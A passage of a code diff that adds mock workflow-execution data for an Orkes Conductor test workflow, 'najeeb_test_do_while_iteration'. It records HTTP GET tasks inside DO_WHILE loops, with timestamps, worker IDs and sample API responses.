0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__9", + retryCount: 0, + seq: 38, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858936, + startTime: 1713413859029, + endTime: 1713413859040, + updateTime: 1713413859029, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97a7c95e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__10", + retryCount: 0, + seq: 42, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413859158, + startTime: 1713413859250, + endTime: 1713413859260, + updateTime: 1713413859250, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97c9d052-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_2: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_2__10", + retryCount: 0, + seq: 41, + pollCount: 1, + taskDefName: "http_2", + scheduledTime: 1713413859078, + startTime: 1713413859140, + endTime: 1713413859152, + updateTime: 1713413859140, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97bd7441-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 62, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_2__2", + retryCount: 0, + seq: 9, + pollCount: 1, + taskDefName: "http_2", + scheduledTime: 1713413857265, + startTime: 1713413857328, + endTime: 1713413857341, + updateTime: 1713413857329, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96a8f6e1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 633, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "pnnnyucqifmchdazstau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 63, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_2__7", + retryCount: 0, + seq: 29, + pollCount: 1, + taskDefName: "http_2", + scheduledTime: 1713413858406, + startTime: 1713413858460, + endTime: 1713413858471, + updateTime: 1713413858460, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97571145-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 970, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "abxkbgqcvgvqnxjcishg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 54, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_2__10", + retryCount: 0, + seq: 41, + pollCount: 1, + taskDefName: "http_2", + scheduledTime: 1713413859078, + startTime: 1713413859140, + endTime: 1713413859152, + updateTime: 1713413859140, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97bd7441-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 62, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_1: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_1__8", + retryCount: 0, + seq: 33, + pollCount: 1, + taskDefName: "http_1", + scheduledTime: 1713413858620, + startTime: 1713413858694, + endTime: 1713413858705, + updateTime: 1713413858694, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97779199-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 74, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_1__3", + retryCount: 0, + seq: 13, + pollCount: 1, + taskDefName: "http_1", + scheduledTime: 1713413857483, + startTime: 1713413857549, + endTime: 1713413857561, + updateTime: 1713413857549, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ca3a85-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5570, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "sxopfwobgmlbyhectkue", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_1__8", + retryCount: 0, + seq: 33, + pollCount: 1, + taskDefName: "http_1", + scheduledTime: 1713413858620, + startTime: 1713413858694, + endTime: 1713413858705, + updateTime: 1713413858694, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97779199-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 74, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_4: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_4", + retryCount: 0, + seq: 43, + pollCount: 1, + taskDefName: "http_4", + scheduledTime: 1713413859277, + startTime: 1713413859361, + endTime: 1713413859373, + updateTime: 1713413859361, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97dbf8c3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5081, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "yfxgvcpjtxnjlftbtcpr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_4", + taskReferenceName: "http_ref_4", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_4", + retryCount: 0, + seq: 43, + pollCount: 1, + taskDefName: "http_4", + scheduledTime: 1713413859277, + startTime: 1713413859361, + endTime: 1713413859373, + updateTime: 1713413859361, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97dbf8c3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5081, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "yfxgvcpjtxnjlftbtcpr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_4", + taskReferenceName: "http_ref_4", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, + do_while_ref_1: { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref_1", + retryCount: 0, + seq: 44, + pollCount: 0, + taskDefName: "do_while_1", + scheduledTime: 1713413859382, + startTime: 1713413859382, + endTime: 1713413862160, + updateTime: 1713413861832, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97eb8924-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + switch_ref_1: { + evaluationResult: ["2"], + selectedCase: "2", + }, + inline_ref_1: { + result: 2, + }, + http_ref_7: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 154, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "obdruesgtvezidzuenhu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1892, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "heqrbsinaexemndlvmcp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9931, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ktrbhjusvnttizwmopxg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; 